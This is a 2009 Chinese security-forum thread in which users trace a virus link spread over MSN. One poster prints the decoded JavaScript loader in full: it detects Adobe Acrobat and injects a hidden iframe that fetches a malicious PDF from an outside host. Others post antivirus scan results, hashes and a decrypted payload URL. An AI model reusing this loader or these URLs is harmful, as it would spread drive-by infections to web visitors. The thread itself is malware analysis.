Msn病毒~hx十p://wretch.go.3322.org

harry4567

=和諧掉= 說:
hey~ h十十p://wretch.go.3322.org

knifed

http://www.hklit.com/background/load.php?id=9671&spl=2其它都是一样.

jhtl

pdf也可以使病毒？点了以后就开了一个pdf空白的，什么都没，也没中毒。。。单红伞报pdf是冲击波？

西风萧雨

nanhezzb

该页面解密内容如下
function pdf2(){
wnd=window;
while (wnd.parent!=wnd){ wnd=wnd.parent; }
wnd.location="http://www.hklit.com/background/pdf.php?id=10098&vis=1";
}
function pdf() {
try {
if (navigator.plugins) {
for (var i=0;i<navigator.plugins.length;i++) {
var name = navigator.plugins.name;
if (name.indexOf("Adobe Acrobat") != -1) {
document.write("<iframe src='http://www.hklit.com/background/pdf.php?id=10098' width=1 height=1 frameborder=0></iframe>");
setTimeout('pdf2();',4000);
break;
}
}
} else {
document.write("<iframe src='http://www.hklit.com/background/pdf.php?id=10098' width=1 height=1 frameborder=0></iframe>");
setTimeout('pdf2();',4000);
}
} catch (e) {
document.write("<iframe src='http://www.hklit.com/background/pdf.php?id=10098' width=1 height=1 frameborder=0></iframe>");
setTimeout('pdf2();',4000);
}
return 0;
}
if (pdf()){}

nanhezzb

下载下来2个PDF文件，其中2847.pdf







文件 2847.pdf 接收于 2009.03.24 09:40:47 (CET)

反病毒引擎	版本	最后更新	扫描结果
a-squared	4.0.0.101	2009.03.24	Exploit.Win32.Pidief!IK
AhnLab-V3	5.0.0.2	2009.03.24	-
AntiVir	7.9.0.120	2009.03.24	EXP/Pidief.GA.13
Authentium	5.1.2.4	2009.03.23	-
Avast	4.8.1335.0	2009.03.23	JS:Pdfka-AD
AVG	8.5.0.283	2009.03.23	-
BitDefender	7.2	2009.03.24	Exploit.PDF-JS.Gen
CAT-QuickHeal	10.00	2009.03.24	-
ClamAV	0.94.1	2009.03.24	Exploit.PDF-20
Comodo	1082	2009.03.23	-
DrWeb	4.44.0.09170	2009.03.24	-
eSafe	7.0.17.0	2009.03.23	-
eTrust-Vet	31.6.6414	2009.03.24	-
F-Prot	4.4.4.56	2009.03.23	-
F-Secure	8.0.14470.0	2009.03.24	-
Fortinet	3.117.0.0	2009.03.24	-
GData	19	2009.03.24	Exploit.PDF-JS.Gen
Ikarus	T3.1.1.48.0	2009.03.24	Exploit.Win32.Pidief
K7AntiVirus	7.10.679	2009.03.23	-
Kaspersky	7.0.0.125	2009.03.24	-
McAfee	5562	2009.03.23	-
McAfee+Artemis	5562	2009.03.23	-
McAfee-GW-Edition	6.7.6	2009.03.24	Exploit.Pidief.GA.13
Microsoft	1.4502	2009.03.24	Exploit:JS/Mult.AW
NOD32	3956	2009.03.24	-
Norman	6.00.06	2009.03.23	-
nProtect	2009.1.8.0	2009.03.24	Exploit.PDF-JS.Gen.C03
Panda	10.0.0.10	2009.03.24	-
PCTools	4.4.2.0	2009.03.23	-
Prevx1	V2	2009.03.24	-
Rising	21.22.11.00	2009.03.24	-
Sophos	4.39.0	2009.03.24	-
Sunbelt	3.2.1858.2	2009.03.23	Exploit.PDF-JS.Gen (v)
Symantec	1.4.4.12	2009.03.24	Bloodhound.Exploit.196
TheHacker	6.3.3.4.288	2009.03.24	-
TrendMicro	8.700.0.1004	2009.03.24	-
ViRobot	2009.3.23.1660	2009.03.24	-
VirusBuster	4.6.5.0	2009.03.23	-
附加信息
File size: 3359 bytes
MD5...: e3261d30090c3d04a6ba3998cd1b0fea
SHA1..: 2003299aeb25c2a7a1815e88d844012813ec52c7
SHA256: 4842209d639ac94faccfa24fecb8310d0f2f49c50861393dcd6a4649b3c26249
SHA512: eab1ae13359f8a53f86d82fa8bf37ff2263f3dfdad5dbdaf82b8ce42fb90aafe<BR>5132f09eab8c94de84db6032c6de6581486043f8500914517c95ace329ae9b69
ssdeep: 96:rDg51rRORkqkrYyrKeH6yopyLQ+SRNnLGC8r2Kt1cKOUNrcGvhLMiKXg:f+1r<BR>ROqqkrYkKeH6ydURNL07t/7<BR>
PEiD..: -
TrID..: File type identification<BR>Adobe Portable Document Format (100.0%)
PEInfo: -

[ 本帖最后由 nanhezzb 于 2009-3-24 16:45 编辑 ]

雨宫优子

汗...我这没法下载PDF...REDOCE倒是请求到了...但是....没法保存...

雨宫优子

这个PDF有问题


但是现在没了时间...晚上再弄...

雨宫优子

解密PDF得：
hxxp://www.hklit.com/background/load.php?id=10098&spl=2

nanhezzb

PDF内容应该怎么去解析？